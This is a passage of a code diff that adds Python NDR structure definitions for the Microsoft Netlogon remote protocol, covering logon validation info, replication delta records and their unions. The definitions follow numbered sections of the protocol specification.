+        NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation     : ('LogonNetworkTransitive', PNETLOGON_NETWORK_INFO),
+        NETLOGON_LOGON_INFO_CLASS.NetlogonGenericInformation               : ('LogonGeneric', PNETLOGON_GENERIC_INFO),
+    }
+
+# 2.2.1.4.7 NETLOGON_SID_AND_ATTRIBUTES
+class NETLOGON_SID_AND_ATTRIBUTES(NDRSTRUCT):
+    structure = (
+        ('Sid', PRPC_SID),
+        ('Attributes', ULONG),
+    )
+
+# 2.2.1.4.8 NETLOGON_VALIDATION_GENERIC_INFO2
+class NETLOGON_VALIDATION_GENERIC_INFO2(NDRSTRUCT):
+    structure = (
+        ('DataLength', ULONG),
+        ('ValidationData', PUCHAR_ARRAY),
+    )
+
+class PNETLOGON_VALIDATION_GENERIC_INFO2(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_VALIDATION_GENERIC_INFO2),
+    )
+
+# 2.2.1.4.9 USER_SESSION_KEY
+USER_SESSION_KEY = LM_OWF_PASSWORD
+
+# 2.2.1.4.10 GROUP_MEMBERSHIP
+class GROUP_MEMBERSHIP(NDRSTRUCT):
+    structure = (
+        ('RelativeId', ULONG),
+        ('Attributes', ULONG),
+    )
+
+class GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):
+    item = GROUP_MEMBERSHIP
+
+class PGROUP_MEMBERSHIP_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', GROUP_MEMBERSHIP_ARRAY),
+    )
+
+# 2.2.1.4.11 NETLOGON_VALIDATION_SAM_INFO
+class LONG_ARRAY(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return 4*10
+
+class NETLOGON_VALIDATION_SAM_INFO(NDRSTRUCT):
+    structure = (
+        ('LogonTime', OLD_LARGE_INTEGER),
+        ('LogoffTime', OLD_LARGE_INTEGER),
+        ('KickOffTime', OLD_LARGE_INTEGER),
+        ('PasswordLastSet', OLD_LARGE_INTEGER),
+        ('PasswordCanChange', OLD_LARGE_INTEGER),
+        ('PasswordMustChange', OLD_LARGE_INTEGER),
+        ('EffectiveName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('LogonScript', RPC_UNICODE_STRING),
+        ('ProfilePath', RPC_UNICODE_STRING),
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+        ('LogonCount', USHORT),
+        ('BadPasswordCount', USHORT),
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('GroupCount', ULONG),
+        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
+        ('UserFlags', ULONG),
+        ('UserSessionKey', USER_SESSION_KEY),
+        ('LogonServer', RPC_UNICODE_STRING),
+        ('LogonDomainName', RPC_UNICODE_STRING),
+        ('LogonDomainId', PRPC_SID),
+        ('ExpansionRoom', LONG_ARRAY),
+    )
+
+class PNETLOGON_VALIDATION_SAM_INFO(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_VALIDATION_SAM_INFO),
+    )
+
+# 2.2.1.4.12 NETLOGON_VALIDATION_SAM_INFO2
+class NETLOGON_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):
+    item = NETLOGON_SID_AND_ATTRIBUTES
+
+class PNETLOGON_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_SID_AND_ATTRIBUTES_ARRAY),
+    )
+
+class NETLOGON_VALIDATION_SAM_INFO2(NDRSTRUCT):
+    structure = (
+        ('LogonTime', OLD_LARGE_INTEGER),
+        ('LogoffTime', OLD_LARGE_INTEGER),
+        ('KickOffTime', OLD_LARGE_INTEGER),
+        ('PasswordLastSet', OLD_LARGE_INTEGER),
+        ('PasswordCanChange', OLD_LARGE_INTEGER),
+        ('PasswordMustChange', OLD_LARGE_INTEGER),
+        ('EffectiveName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('LogonScript', RPC_UNICODE_STRING),
+        ('ProfilePath', RPC_UNICODE_STRING),
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+        ('LogonCount', USHORT),
+        ('BadPasswordCount', USHORT),
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('GroupCount', ULONG),
+        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
+        ('UserFlags', ULONG),
+        ('UserSessionKey', USER_SESSION_KEY),
+        ('LogonServer', RPC_UNICODE_STRING),
+        ('LogonDomainName', RPC_UNICODE_STRING),
+        ('LogonDomainId', PRPC_SID),
+        ('ExpansionRoom', LONG_ARRAY),
+        ('SidCount', ULONG),
+        ('ExtraSids', PNETLOGON_SID_AND_ATTRIBUTES_ARRAY),
+    )
+
+class PNETLOGON_VALIDATION_SAM_INFO2(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_VALIDATION_SAM_INFO2),
+    )
+
+# 2.2.1.4.13 NETLOGON_VALIDATION_SAM_INFO4
+class NETLOGON_VALIDATION_SAM_INFO4(NDRSTRUCT):
+    structure = (
+        ('LogonTime', OLD_LARGE_INTEGER),
+        ('LogoffTime', OLD_LARGE_INTEGER),
+        ('KickOffTime', OLD_LARGE_INTEGER),
+        ('PasswordLastSet', OLD_LARGE_INTEGER),
+        ('PasswordCanChange', OLD_LARGE_INTEGER),
+        ('PasswordMustChange', OLD_LARGE_INTEGER),
+        ('EffectiveName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('LogonScript', RPC_UNICODE_STRING),
+        ('ProfilePath', RPC_UNICODE_STRING),
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+        ('LogonCount', USHORT),
+        ('BadPasswordCount', USHORT),
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('GroupCount', ULONG),
+        ('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
+        ('UserFlags', ULONG),
+        ('UserSessionKey', USER_SESSION_KEY),
+        ('LogonServer', RPC_UNICODE_STRING),
+        ('LogonDomainName', RPC_UNICODE_STRING),
+        ('LogonDomainId', PRPC_SID),
+
+        ('LMKey', CHAR_FIXED_8_ARRAY),
+        ('UserAccountControl', ULONG),
+        ('SubAuthStatus', ULONG),
+        ('LastSuccessfulILogon', OLD_LARGE_INTEGER),
+        ('LastFailedILogon', OLD_LARGE_INTEGER),
+        ('FailedILogonCount', ULONG),
+        ('Reserved4', ULONG),
+
+        ('SidCount', ULONG),
+        ('ExtraSids', PNETLOGON_SID_AND_ATTRIBUTES_ARRAY),
+        ('DnsLogonDomainName', RPC_UNICODE_STRING),
+        ('Upn', RPC_UNICODE_STRING),
+        ('ExpansionString1', RPC_UNICODE_STRING),
+        ('ExpansionString2', RPC_UNICODE_STRING),
+        ('ExpansionString3', RPC_UNICODE_STRING),
+        ('ExpansionString4', RPC_UNICODE_STRING),
+        ('ExpansionString5', RPC_UNICODE_STRING),
+        ('ExpansionString6', RPC_UNICODE_STRING),
+        ('ExpansionString7', RPC_UNICODE_STRING),
+        ('ExpansionString8', RPC_UNICODE_STRING),
+        ('ExpansionString9', RPC_UNICODE_STRING),
+        ('ExpansionString10', RPC_UNICODE_STRING),
+    )
+
+class PNETLOGON_VALIDATION_SAM_INFO4(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_VALIDATION_SAM_INFO4),
+    )
+
+# 2.2.1.4.17 NETLOGON_VALIDATION_INFO_CLASS
+class NETLOGON_VALIDATION_INFO_CLASS(NDRENUM):
+    class enumItems(Enum):
+        NetlogonValidationUasInfo      = 1
+        NetlogonValidationSamInfo      = 2
+        NetlogonValidationSamInfo2     = 3
+        NetlogonValidationGenericInfo  = 4
+        NetlogonValidationGenericInfo2 = 5
+        NetlogonValidationSamInfo4     = 6
+
+# 2.2.1.4.14 NETLOGON_VALIDATION
+class NETLOGON_VALIDATION(NDRUNION):
+    union = {
+        NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo     : ('ValidationSam', PNETLOGON_VALIDATION_SAM_INFO),
+        NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2    : ('ValidationSam2', PNETLOGON_VALIDATION_SAM_INFO2),
+        NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationGenericInfo2: ('ValidationGeneric2', PNETLOGON_VALIDATION_GENERIC_INFO2),
+        NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4    : ('ValidationSam4', PNETLOGON_VALIDATION_SAM_INFO4),
+    }
+
+# 2.2.1.5.2 NLPR_QUOTA_LIMITS
+class NLPR_QUOTA_LIMITS(NDRSTRUCT):
+    structure = (
+        ('PagedPoolLimit', ULONG),
+        ('NonPagedPoolLimit', ULONG),
+        ('MinimumWorkingSetSize', ULONG),
+        ('MaximumWorkingSetSize', ULONG),
+        ('PagefileLimit', ULONG),
+        ('Reserved', OLD_LARGE_INTEGER),
+    )
+
+# 2.2.1.5.3 NETLOGON_DELTA_ACCOUNTS
+class ULONG_ARRAY(NDRUniConformantArray):
+    item = ULONG
+
+class PULONG_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', ULONG_ARRAY),
+    )
+
+class NETLOGON_DELTA_ACCOUNTS(NDRSTRUCT):
+    structure = (
+        ('PrivilegeEntries', ULONG),
+        ('PrivilegeControl', ULONG),
+        ('PrivilegeAttributes', PULONG_ARRAY),
+        ('PrivilegeNames', PRPC_UNICODE_STRING_ARRAY),
+        ('QuotaLimits', NLPR_QUOTA_LIMITS),
+        ('SystemAccessFlags', ULONG),
+        ('SecurityInformation', SECURITY_INFORMATION),
+        ('SecuritySize', ULONG),
+        ('SecurityDescriptor', PUCHAR_ARRAY),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_ACCOUNTS(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_ACCOUNTS),
+    )
+
+# 2.2.1.5.5 NLPR_SID_INFORMATION
+class NLPR_SID_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('SidPointer', PRPC_SID),
+    )
+
+# 2.2.1.5.6 NLPR_SID_ARRAY
+class NLPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):
+    item = NLPR_SID_INFORMATION
+
+class PNLPR_SID_INFORMATION_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', NLPR_SID_INFORMATION_ARRAY),
+    )
+
+class NLPR_SID_ARRAY(NDRSTRUCT):
+    referent = (
+        ('Count', ULONG),
+        ('Sids', PNLPR_SID_INFORMATION_ARRAY),
+    )
+
+# 2.2.1.5.7 NETLOGON_DELTA_ALIAS_MEMBER
+class NETLOGON_DELTA_ALIAS_MEMBER(NDRSTRUCT):
+    structure = (
+        ('Members', NLPR_SID_ARRAY),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_ALIAS_MEMBER(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_ALIAS_MEMBER),
+    )
+
+# 2.2.1.5.8 NETLOGON_DELTA_DELETE_GROUP
+class NETLOGON_DELTA_DELETE_GROUP(NDRSTRUCT):
+    structure = (
+        ('AccountName', LPWSTR),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_DELETE_GROUP(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_DELETE_GROUP),
+    )
+
+# 2.2.1.5.9 NETLOGON_DELTA_DELETE_USER
+class NETLOGON_DELTA_DELETE_USER(NDRSTRUCT):
+    structure = (
+        ('AccountName', LPWSTR),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_DELETE_USER(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_DELETE_USER),
+    )
+
+# 2.2.1.5.10 NETLOGON_DELTA_DOMAIN
+class NETLOGON_DELTA_DOMAIN(NDRSTRUCT):
+    structure = (
+        ('DomainName', RPC_UNICODE_STRING),
+        ('OemInformation', RPC_UNICODE_STRING),
+        ('ForceLogoff', OLD_LARGE_INTEGER),
+        ('MinPasswordLength', USHORT),
+        ('PasswordHistoryLength', USHORT),
+        ('MaxPasswordAge', OLD_LARGE_INTEGER),
+        ('MinPasswordAge', OLD_LARGE_INTEGER),
+        ('DomainModifiedCount', OLD_LARGE_INTEGER),
+        ('DomainCreationTime', OLD_LARGE_INTEGER),
+        ('SecurityInformation', SECURITY_INFORMATION),
+        ('SecuritySize', ULONG),
+        ('SecurityDescriptor', PUCHAR_ARRAY),
+        ('DomainLockoutInformation', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('PasswordProperties', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_DOMAIN(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_DOMAIN),
+    )
+
+# 2.2.1.5.13 NETLOGON_DELTA_GROUP
+class NETLOGON_DELTA_GROUP(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING),
+        ('RelativeId', ULONG),
+        ('Attributes', ULONG),
+        ('AdminComment', RPC_UNICODE_STRING),
+        ('SecurityInformation', USHORT),
+        ('SecuritySize', ULONG),
+        ('SecurityDescriptor', SECURITY_INFORMATION),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_GROUP(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_GROUP),
+    )
+
+# 2.2.1.5.24 NETLOGON_RENAME_GROUP
+class NETLOGON_RENAME_GROUP(NDRSTRUCT):
+    structure = (
+        ('OldName', RPC_UNICODE_STRING),
+        ('NewName', RPC_UNICODE_STRING),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_RENAME_GROUP(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_RENAME_GROUP),
+    )
+
+# 2.2.1.5.14 NLPR_LOGON_HOURS
+from impacket.dcerpc.v5.samr import SAMPR_LOGON_HOURS
+NLPR_LOGON_HOURS = SAMPR_LOGON_HOURS
+
+# 2.2.1.5.15 NLPR_USER_PRIVATE_INFO
+class NLPR_USER_PRIVATE_INFO(NDRSTRUCT):
+    structure = (
+        ('SensitiveData', UCHAR),
+        ('DataLength', ULONG),
+        ('Data', PUCHAR_ARRAY),
+    )
+
+# 2.2.1.5.16 NETLOGON_DELTA_USER
+class NETLOGON_DELTA_USER(NDRSTRUCT):
+    structure = (
+        ('UserName', RPC_UNICODE_STRING),
+        ('FullName', RPC_UNICODE_STRING),
+        ('UserId', ULONG),
+        ('PrimaryGroupId', ULONG),
+        ('HomeDirectory', RPC_UNICODE_STRING),
+        ('HomeDirectoryDrive', RPC_UNICODE_STRING),
+        ('ScriptPath', RPC_UNICODE_STRING),
+        ('AdminComment', RPC_UNICODE_STRING),
+        ('WorkStations', RPC_UNICODE_STRING),
+        ('LastLogon', OLD_LARGE_INTEGER),
+        ('LastLogoff', OLD_LARGE_INTEGER),
+        ('LogonHours', NLPR_LOGON_HOURS),
+        ('BadPasswordCount', USHORT),
+        ('LogonCount', USHORT),
+        ('PasswordLastSet', OLD_LARGE_INTEGER),
+        ('AccountExpires', OLD_LARGE_INTEGER),
+        ('UserAccountControl', ULONG),
+        ('EncryptedNtOwfPassword', PUCHAR_ARRAY),
+        ('EncryptedLmOwfPassword', PUCHAR_ARRAY),
+        ('NtPasswordPresent', UCHAR),
+        ('LmPasswordPresent', UCHAR),
+        ('PasswordExpired', UCHAR),
+        ('UserComment', RPC_UNICODE_STRING),
+        ('Parameters', RPC_UNICODE_STRING),
+        ('CountryCode', USHORT),
+        ('CodePage', USHORT),
+        ('PrivateData', NLPR_USER_PRIVATE_INFO),
+        ('SecurityInformation', SECURITY_INFORMATION),
+        ('SecuritySize', ULONG),
+        ('SecurityDescriptor', PUCHAR_ARRAY),
+        ('ProfilePath', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_USER(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_USER),
+    )
+
+# 2.2.1.5.25 NETLOGON_RENAME_USER
+class NETLOGON_RENAME_USER(NDRSTRUCT):
+    structure = (
+        ('OldName', RPC_UNICODE_STRING),
+        ('NewName', RPC_UNICODE_STRING),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_RENAME_USER(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_RENAME_USER),
+    )
+
+# 2.2.1.5.17 NETLOGON_DELTA_GROUP_MEMBER
+class NETLOGON_DELTA_GROUP_MEMBER(NDRSTRUCT):
+    structure = (
+        ('Members', PULONG_ARRAY),
+        ('Attributes', PULONG_ARRAY),
+        ('MemberCount', ULONG),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_GROUP_MEMBER(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_GROUP_MEMBER),
+    )
+
+# 2.2.1.5.4 NETLOGON_DELTA_ALIAS
+class NETLOGON_DELTA_ALIAS(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING),
+        ('RelativeId', ULONG),
+        ('SecurityInformation', SECURITY_INFORMATION),
+        ('SecuritySize', ULONG),
+        ('SecurityDescriptor', PUCHAR_ARRAY),
+        ('Comment', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_ALIAS(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_ALIAS),
+    )
+
+# 2.2.1.5.23 NETLOGON_RENAME_ALIAS
+class NETLOGON_RENAME_ALIAS(NDRSTRUCT):
+    structure = (
+        ('OldName', RPC_UNICODE_STRING),
+        ('NewName', RPC_UNICODE_STRING),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_RENAME_ALIAS(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_RENAME_ALIAS),
+    )
+
+# 2.2.1.5.19 NETLOGON_DELTA_POLICY
+class NETLOGON_DELTA_POLICY(NDRSTRUCT):
+    structure = (
+        ('MaximumLogSize', ULONG),
+        ('AuditRetentionPeriod', OLD_LARGE_INTEGER),
+        ('AuditingMode', UCHAR),
+        ('MaximumAuditEventCount', ULONG),
+        ('EventAuditingOptions', PULONG_ARRAY),
+        ('PrimaryDomainName', RPC_UNICODE_STRING),
+        ('PrimaryDomainSid', PRPC_SID),
+        ('QuotaLimits', NLPR_QUOTA_LIMITS),
+        ('ModifiedId', OLD_LARGE_INTEGER),
+        ('DatabaseCreationTime', OLD_LARGE_INTEGER),
+        ('SecurityInformation', SECURITY_INFORMATION),
+        ('SecuritySize', ULONG),
+        ('SecurityDescriptor', PUCHAR_ARRAY),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_POLICY(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_POLICY),
+    )
+
+# 2.2.1.5.22 NETLOGON_DELTA_TRUSTED_DOMAINS
+class NETLOGON_DELTA_TRUSTED_DOMAINS(NDRSTRUCT):
+    structure = (
+        ('DomainName', RPC_UNICODE_STRING),
+        ('NumControllerEntries', ULONG),
+        ('ControllerNames', PRPC_UNICODE_STRING_ARRAY),
+        ('SecurityInformation', SECURITY_INFORMATION),
+        ('SecuritySize', ULONG),
+        ('SecurityDescriptor', PUCHAR_ARRAY),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_TRUSTED_DOMAINS(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_TRUSTED_DOMAINS),
+    )
+
+# 2.2.1.5.20 NLPR_CR_CIPHER_VALUE
+class UCHAR_ARRAY2(NDRUniConformantVaryingArray):
+    item = UCHAR
+
+class PUCHAR_ARRAY2(NDRPOINTER):
+    referent = (
+        ('Data', UCHAR_ARRAY2),
+    )
+
+class NLPR_CR_CIPHER_VALUE(NDRSTRUCT):
+    structure = (
+        ('Length', ULONG),
+        ('MaximumLength', ULONG),
+        ('Buffer', PUCHAR_ARRAY2),
+    )
+
+# 2.2.1.5.21 NETLOGON_DELTA_SECRET
+class NETLOGON_DELTA_SECRET(NDRSTRUCT):
+    structure = (
+        ('CurrentValue', NLPR_CR_CIPHER_VALUE),
+        ('CurrentValueSetTime', OLD_LARGE_INTEGER),
+        ('OldValue', NLPR_CR_CIPHER_VALUE),
+        ('OldValueSetTime', OLD_LARGE_INTEGER),
+        ('SecurityInformation', SECURITY_INFORMATION),
+        ('SecuritySize', ULONG),
+        ('SecurityDescriptor', PUCHAR_ARRAY),
+        ('DummyString1', RPC_UNICODE_STRING),
+        ('DummyString2', RPC_UNICODE_STRING),
+        ('DummyString3', RPC_UNICODE_STRING),
+        ('DummyString4', RPC_UNICODE_STRING),
+        ('DummyLong1', ULONG),
+        ('DummyLong2', ULONG),
+        ('DummyLong3', ULONG),
+        ('DummyLong4', ULONG),
+    )
+
+class PNETLOGON_DELTA_SECRET(NDRPOINTER):
+    referent = (
+        ('Data', NETLOGON_DELTA_SECRET),
+    )
+
+# 2.2.1.5.26 NLPR_MODIFIED_COUNT
+class NLPR_MODIFIED_COUNT(NDRSTRUCT):
+    structure = (
+        ('ModifiedCount', OLD_LARGE_INTEGER),
+    )
+
+class PNLPR_MODIFIED_COUNT(NDRPOINTER):
+    referent = (
+        ('Data', NLPR_MODIFIED_COUNT),
+    )
+
+# 2.2.1.5.28 NETLOGON_DELTA_TYPE
+class NETLOGON_DELTA_TYPE(NDRENUM):
+    class enumItems(Enum):
+        AddOrChangeDomain     = 1
+        AddOrChangeGroup      = 2
+        DeleteGroup           = 3
+        RenameGroup           = 4
+        AddOrChangeUser       = 5
+        DeleteUser            = 6
+        RenameUser            = 7
+        ChangeGroupMembership = 8
+        AddOrChangeAlias      = 9
+        DeleteAlias           = 10
+        RenameAlias           = 11
+        ChangeAliasMembership = 12
+        AddOrChangeLsaPolicy  = 13
+        AddOrChangeLsaTDomain = 14
+        DeleteLsaTDomain      = 15
+        AddOrChangeLsaAccount = 16
+        DeleteLsaAccount      = 17
+        AddOrChangeLsaSecret  = 18
+        DeleteLsaSecret       = 19
+        DeleteGroupByName     = 20
+        DeleteUserByName      = 21
+        SerialNumberSkip      = 22
+
+# 2.2.1.5.27 NETLOGON_DELTA_UNION
+class NETLOGON_DELTA_UNION(NDRUNION):
+    union = {
+        NETLOGON_DELTA_TYPE.AddOrChangeDomain     : ('DeltaDomain', PNETLOGON_DELTA_DOMAIN),
+        NETLOGON_DELTA_TYPE.AddOrChangeGroup      : ('DeltaGroup', PNETLOGON_DELTA_GROUP),
+        NETLOGON_DELTA_TYPE.RenameGroup           : ('DeltaRenameGroup', PNETLOGON_DELTA_RENAME_GROUP),
+        NETLOGON_DELTA_TYPE.AddOrChangeUser       : ('DeltaUser', PNETLOGON_DELTA_USER),
+        NETLOGON_DELTA_TYPE.RenameUser            : ('DeltaRenameUser', PNETLOGON_DELTA_RENAME_USER),
+        NETLOGON_DELTA_TYPE.ChangeGroupMembership : ('DeltaGroupMember', PNETLOGON_DELTA_GROUP_MEMBER),
+        NETLOGON_DELTA_TYPE.AddOrChangeAlias      : ('DeltaAlias', PNETLOGON_DELTA_ALIAS),
+        NETLOGON_DELTA_TYPE.RenameAlias           : ('DeltaRenameAlias', PNETLOGON_DELTA_RENAME_ALIAS),
+        NETLOGON_DELTA_TYPE.ChangeAliasMembership : ('DeltaAliasMember', PNETLOGON_DELTA_ALIAS_MEMBER),
+        NETLOGON_DELTA_TYPE.AddOrChangeLsaPolicy  : ('DeltaPolicy', PNETLOGON_DELTA_POLICY),
+        NETLOGON_DELTA_TYPE.AddOrChangeLsaTDomain : ('DeltaTDomains', PNETLOGON_DELTA_TRUSTED_DOMAINS),
+        NETLOGON_DELTA_TYPE.AddOrChangeLsaAccount : ('DeltaAccounts', PNETLOGON_DELTA_ACCOUNTS),
+        NETLOGON_DELTA_TYPE.AddOrChangeLsaSecret  : ('DeltaSecret', PNETLOGON_DELTA_SECRET),
+        NETLOGON_DELTA_TYPE.DeleteGroupByName     : ('DeltaDeleteGroup', PNETLOGON_DELTA_DELETE_GROUP),
+        NETLOGON_DELTA_TYPE.DeleteUserByName      : ('DeltaDeleteUser', PNETLOGON_DELTA_DELETE_USER),
+        NETLOGON_DELTA_TYPE.SerialNumberSkip      : ('DeltaSerialNumberSkip', PNLPR_MODIFIED_COUNT),
+    }
+
+# 2.2.1.5.18 NETLOGON_DELTA_ID_UNION
+class NETLOGON_DELTA_ID_UNION(NDRUNION):
+    union = {
+        NETLOGON_DELTA_TYPE.AddOrChangeDomain     : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.AddOrChangeGroup      : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.DeleteGroup           : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.RenameGroup           : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.AddOrChangeUser       : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.DeleteUser            : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.RenameUser            : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.ChangeGroupMembership : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.AddOrChangeAlias      : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.DeleteAlias           : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.RenameAlias           : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.ChangeAliasMembership : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.DeleteGroupByName     : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.DeleteUserByName      : ('Rid', ULONG),
+        NETLOGON_DELTA_TYPE.AddOrChangeLsaPolicy  : ('Sid', PRPC_SID),
+        NETLOGON_DELTA_TYPE.AddOrChangeLsaTDomain : ('Sid', PRPC_SID),
+        NETLOGON_DELTA_TYPE.DeleteLsaTDomain      : ('Sid', PRPC_SID),
+        NETLOGON_DELTA_TYPE.AddOrChangeLsaAccount : ('Sid', PRPC_SID),
